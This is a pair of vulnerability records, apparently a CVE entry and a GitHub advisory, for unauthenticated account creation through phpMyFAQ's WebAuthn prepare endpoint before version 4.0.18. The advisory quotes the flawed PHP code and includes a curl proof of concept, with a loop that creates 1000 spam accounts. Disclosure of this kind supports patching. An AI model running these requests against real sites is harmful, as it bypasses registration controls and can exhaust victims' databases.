{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "phpMyFAQ is an open source FAQ web application. Prior to version 4.0.18, the WebAuthn prepare endpoint (`/api/webauthn/prepare`) creates new active user accounts without any authentication, CSRF protection, captcha, or configuration checks. This allows unauthenticated attackers to create unlimited user accounts even when registration is disabled. Version 4.0.18 fixes the issue."
    }
  ],
  "id": "CVE-2026-27836",
  "lastModified": "2026-02-27T20:21:40.330",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-02-27T20:21:40.330",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/thorsten/phpMyFAQ/commit/f2ab673f0668753cd0f7c7c8bc7fd2304dcf5cb1"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-w22q-m2fm-x9f4"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-862"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "thorsten/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27836"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-27T21:01:58Z",
    "nvd_published_at": "2026-02-27T20:21:40Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe WebAuthn prepare endpoint (`/api/webauthn/prepare`) creates new active user accounts without any authentication, CSRF protection, CAPTCHA, or configuration checks. This allows unauthenticated attackers to create unlimited user accounts even when registration is disabled.\n\n### Details\n\n**File:** `phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/WebAuthnController.php`, lines 63-79\n\n```php\n#[Route(path: \u0027webauthn/prepare\u0027, name: \u0027api.private.webauthn.prepare\u0027, methods: [\u0027POST\u0027])]\npublic function prepare(Request $request): JsonResponse\n{\n    $data = json_decode($request-\u003egetContent(), ...);\n    $username = Filter::filterVar($data-\u003eusername, FILTER_SANITIZE_SPECIAL_CHARS);\n\n    if (!$this-\u003euser-\u003egetUserByLogin($username, raiseError: false)) {\n        try {\n            $this-\u003euser-\u003ecreateUser($username);\n            $this-\u003euser-\u003esetStatus(status: \u0027active\u0027);\n            $this-\u003euser-\u003esetAuthSource(AuthenticationSourceType::AUTH_WEB_AUTHN-\u003evalue);\n            $this-\u003euser-\u003esetUserData([\n                \u0027display_name\u0027 =\u003e $username,\n                \u0027email\u0027 =\u003e $username,\n            ]);\n```\n\nThe endpoint:\n1. Accepts any POST request with a JSON `username` field\n2. If the username doesn\u0027t exist, creates a new **active** user account\n3. Does NOT check if WebAuthn support is enabled (`security.enableWebAuthnSupport`)\n4. Does NOT check if registration is enabled (`security.enableRegistration`)\n5. Does NOT verify CSRF tokens\n6. Does NOT require captcha validation\n7. Has no rate limiting\n\n### PoC\n\n```bash\n# Create an account - no auth needed\ncurl -X POST https://TARGET/api/webauthn/prepare \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"username\":\"attacker_account\"}\u0027\n\n# Mass account creation\nfor i in $(seq 1 1000); do\n  curl -s -X POST https://TARGET/api/webauthn/prepare \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    -d \"{\\\"username\\\":\\\"spam_user_$i\"}\" \u0026\ndone\n```\n\n### Impact\n\n- **Registration bypass:** Accounts created even when self-registration is disabled\n- **Username squatting:** Reserve usernames before legitimate users\n- **Database exhaustion:** Create millions of fake active accounts (DoS)\n- **User enumeration:** Different responses for existing vs new usernames\n- **Security control bypass:** WebAuthn config check is bypassed entirely\n\nAll phpMyFAQ installations with the WebAuthn controller routed (default) are affected, regardless of configuration settings.",
  "id": "GHSA-w22q-m2fm-x9f4",
  "modified": "2026-02-27T22:20:47Z",
  "published": "2026-02-27T21:01:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-w22q-m2fm-x9f4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27836"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/commit/f2ab673f0668753cd0f7c7c8bc7fd2304dcf5cb1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thorsten/phpMyFAQ"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpMyFAQ Allows Unauthenticated Account Creation via WebAuthn Prepare Endpoint"
}